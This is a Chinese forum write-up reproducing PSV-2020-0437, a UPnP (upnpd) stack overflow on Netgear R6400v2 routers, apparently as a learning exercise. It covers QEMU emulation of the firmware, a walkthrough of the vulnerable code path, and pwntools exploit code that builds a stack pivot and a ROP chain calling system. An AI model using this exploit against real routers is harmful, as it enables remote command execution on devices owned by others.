-
-
[原创]IOT漏洞复现----PSV-2020-0437
-
2024-5-27 13:49 3713
-
IOT漏洞复现----PSV-2020-0437
一.前言
最近在利用之前开发过的模糊测试工具对于各大路由器厂商的固件进行测试,并且进行漏洞挖掘,因此为了方便进一步对于获得的漏洞进行利用,学习了一些之前公开的漏洞复现原理,再次进行复现,本篇文章参考了PSV-2020-0437:Buffer-Overflow-on-Some-Netgear-Routers这篇文章, 对于复现中的一些细节进行详细解释,之后可能也会针对不同厂商的路由器漏洞进行复现。
二.固件获取
对于该漏洞需要获取R6400v2-1.0.4.102的固件,通过下载并且进行binwalk解压就可以获得对应的文件系统,这里就不过多赘述了。
三.固件模拟
对于该固件进行仿真模拟,首先想到的就是利用FirmAE进行模拟,但是通过实现发现,可能由于缺少配置信息等问题,FirmAE并不能直接自动化的进行模拟。因此根据对应漏洞介绍可以知道,该漏洞存在于upnpd二进制文件中,路径为/usr/sbin/upnpd中,因此我们可以利用qemu单独对于该二进制文件进行模拟。
在上述提到的参考文章中,利用了qemu binfmt直接对于upnpd文件进行运行,对应qemu会根据他的架构来进行仿真模拟,虽然确实十分简单,但是在之后进行debug来找偏移等步骤时,会没办法来进行调试,直接调试的话会调试的是qemu而不是对应的upnpd文件,因此本文再次选用利用系统模拟的方式来进行执行。该文件为arm架构,因此我们利用armhf的系统内核来进行模拟,具体命令如下:
1 2 3 4 5 6 7 8 | sudo qemu-system-arm \ -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if =sd, file =debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2" \ -net nic,macaddr=00:16:3e:00:00:01 \ -net tap,ifname=tap0,script=no,downscript=no \ -nographic |
此外对应的文件内容可以在这个链接中进行下载。通过对于文件系统进行模拟之后,便是讲整个解压出来的文件系统利用scp命令拷贝到该系统的目录下,具体命令为:
1 | sudo scp -r squashfs-root/ root@192.168.1.143: /root/netgear-R6400v2-102 |
这里需要注意的是,对于刚仿真好的内核是没有对应ip的,需要手动进行分配,我这里是通过下面这条指令来分配ip的。
1 | ifconfig eth0 192.168 . 1.143 / 24 up |
之后传输结束之后便是解决一些老生常谈的话题,首先就是对于nvram显示没有该设备,因此我们利用Shared Library to intercept nvram这个项目来进行hook,此外由于找不到dlsym,因此我们在LD_PRELOAD时要加上/lib/libdl.so.0,但是在执行过程中说缺少libc.so.6,这里我们只需要把libc.so.0复制并且修改为libc.so.6即可完成。此外对于缺少的信息,也是创建tmp/nvram.ini文件,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | upnpd_debug_level = 9 lan_ipaddr = 127.0 . 0.1 hwver = R6400 friendly_name = R6400 upnp_enable = 1 upnp_turn_on = 1 upnp_advert_period = 30 upnp_advert_ttl = 4 upnp_portmap_entry = 1 upnp_duration = 3600 upnp_DHCPServerConfigurable = 1 wps_is_upnp = 0 upnp_sa_uuid = 00000000000000000000 lan_hwaddr = AA:BB:CC:DD:EE:FF |
最后就是利用mount把本地的/proc文件夹和/dev文件加挂在到本地,具体命令如下:
1 2 | mount - t proc / proc . / squashfs - root / proc mount - o bind / dev . / squashfs - root / dev |
自此就完成了对于环境的所有配置工作,之后就是进入到对应文件夹下,执行chroot . sh来设置根目录,这样就仿真完整个环境,执行LD_PRELOAD="/custom_nvram.so /lib/libdl.so.0" ./usr/sbin/upnpd命令就可以完成对应服务的开启,需要注意的是,运行该设备需要开启5000端口和1900端口,通过lsof -i :5000就可以找到对应的进程id,所以在运行之前需要防止其他进行对该端口占用。
四.漏洞原理
该漏洞原理如下,在recvfrom函数中会向inputbuf中输入0x1ffff大小的内容,并且根据upnp_turn_on的参数也就是之前配置的nvram_ini中的值来判断,如果是1并且strlen的长度小于0x100就可以进入到ssdp_http_method_check函数中,这里需要注意的是,如果在recvfrom的内容中,最前面放入\x00进行截断,那么也可以绕过对应长度的检测。
之后进入到ssdp_http_method_check函数之后会进行判断,利用strncpy将inputbuf复制到v39中,之后进入到sub_B9EC
这里进入sub_B9EC中会对于字符串进行赋值,通过刚才所说的可以知道如果我们在发送的数据中,第一个字节为\x00,那么进入到sub_B9EC之后输出的v7的值为0,并且进入下面的判断,会输出Http message error。
最后就是到达了漏洞触发的位置也就是sub_22D20函数中,具体代码如下,这里首先是提取了MX:后面的内容,并且利用strncpy进行复制,但是这里并没有判断复制长度的大小,因此可以再次构造出栈溢出来执行命令执行。
综上对于漏洞触发的原理已经讲解完毕,这里利用上述参考文章中的图进行讲解exp原理,首先第一次我们发送payload,这里需要计算好距离sub_22D20之后偏移的距离,并且写上需要的rop链,之后第二次进行攻击的时候,便是覆盖sub_22D20的返回地址,并且执行栈迁移,最终将pc寄存器指向rop链上。
五.漏洞利用
这里漏洞利用脚本也是利用参考文章中的脚本来进行讲解,并且加入一些详细的分析过程。
5.1第一次发送数据
这里首先是发送了0x1ff0个A,使得可以填充栈中数据,连接本地的1900端口并且发送数据,这里需要注意的就是需要以\x00开头,根据上述分析,如果数据以\x00开始的话会在二进制文件那里出现Http message error的报错信息,我们查看对应输出信息便可以找到。
1 2 | s = remote( '127.0.0.1' , 1900 , typ = 'udp' ) s.send(b '\x00' + b 'A' * 0x1ff0 ) |
通过报错信息可以看到确实会出现对应信息,这样我们就完成了第一次数据的发送
5.2第二次数据发送
第二次数据发送就是需要对于payload进行构造,这里需要提前计算好在执行完栈迁移的gadget之后,sp指针迁移的位置,选择的gadget如下,会将sp迁移到0x800的位置,执行exp,当执行到这个gadget时如下:
1 2 | .text: 00011B90 ADD SP, SP, #0x800 .text: 00011B94 POP {R4 - R6,PC} |
目前sp的位置为0x7ef095b8,因此加上0x800之后的gadget的位置为0x7ef09db8,减去recvfrom时的地址也就是0x7ef09c54也就是有0x164的距离,所以第二次发数据去除\x00之后还需要355个垃圾数据。
填充完垃圾数据之后便是执行rop链,需要注意的是,为了执行system函数,需要提前将执行的命令字符串转到全局地址之中,因此需要找到str这种类型指令来进行存储,最终选取的gadget如下:
1 | 0x0002dd4c : str r6, [r5]; pop {r3, r4, r5, r6, r7, pc}; |
因此我们只需要控制r5和r6两个寄存器的值,把任意值从r6写道r5指向的地址中,所以需要对于cmd进行分组,因此32位的操作系统,所以需要进行分组传送,最终通过循环来实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | def build_rop(cmd): rop = b'' rop + = cyclic( 355 ,n = 4 ) rop + = p32( 0xdeadbeaf ) # R4 rop + = p32(bss) # R5 rop + = cmd[: 4 ] # R6 rop + = p32(str_r6_r5) # PC for i in range ( int ( len (cmd) / 4 - 1 )): log.success( 'idx: {}' . format (i)) rop + = p32( 0xdeadbeef ) # R3 rop + = p32( 0xdeadbeef ) # R4 rop + = p32(bss + 4 * (i + 1 )) # R5 rop + = cmd[ 4 * (i + 1 ): 4 * (i + 2 )] # R6 rop + = p32( 0xdeadbeef ) # R7 rop + = p32(str_r6_r5) # PC |
循环完成之后便是执行system函数
1 2 3 4 5 6 | rop + = p32( 0xdeadbeef ) # R3 rop + = p32(bss) # R4 rop + = p32( 0xdeadbeef ) # R5 rop + = p32( 0xdeadbeef ) # R6 rop + = p32( 0xdeadbeef ) # R7 rop + = p32( 0x2704C ) # PC |
自此便完成了对于整个rop链的构造
5.3第三次数据发送
第三次数据发送的目的便是实现栈迁移来执行gadget,首先需要找到strncpy需要的格式,为了满足可以获得MX:之后的值,所以需要按照下述格式来编写,对于MX:之后的内容,便是对于栈溢出的数据填写,因为。
1 2 3 4 5 6 7 8 | def build_req(): temp = [] temp.append( "M-SEARCH * HTTP/1.1" ) temp.append( "HOST:239.255.255.250:1900" ) temp.append( 'MAN: "ssdp:discover"' ) temp.append( "MX: " + cyclic( 139 , n = 4 ).decode( 'latin' ) + p32( 0x11B90 )[: 3 ].decode( 'latin' )) #seconds to delay response temp = '\r\n' .join(temp) + '\r\n\r\n' |
通过调试我们可以发现函数结束时sp会增加0x80,并且pop来控制r4,r5,r6寄存器,印记经过计算,只需要填写0x80 + 0x4 * 3 = 140个字节,因此垃圾数据就是139个字节(去除空格),之后便是填入栈迁移的地址0x11B90,便可根据第二次数据发送的内容,最终实现栈迁移来执行rop链。
六.总结
对于该漏洞复现原理十分简单,通过栈溢出最终实现执行rop链,但是通过这个漏洞的复现,可以很好的掌握对于路由器中的漏洞如何进行利用,最近也是利用模糊测试工具来发现一些cve漏洞,根据这些知识,也希望可以编写出exp来执行命令,之后也会更新一些其他路由器的相关复现内容。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法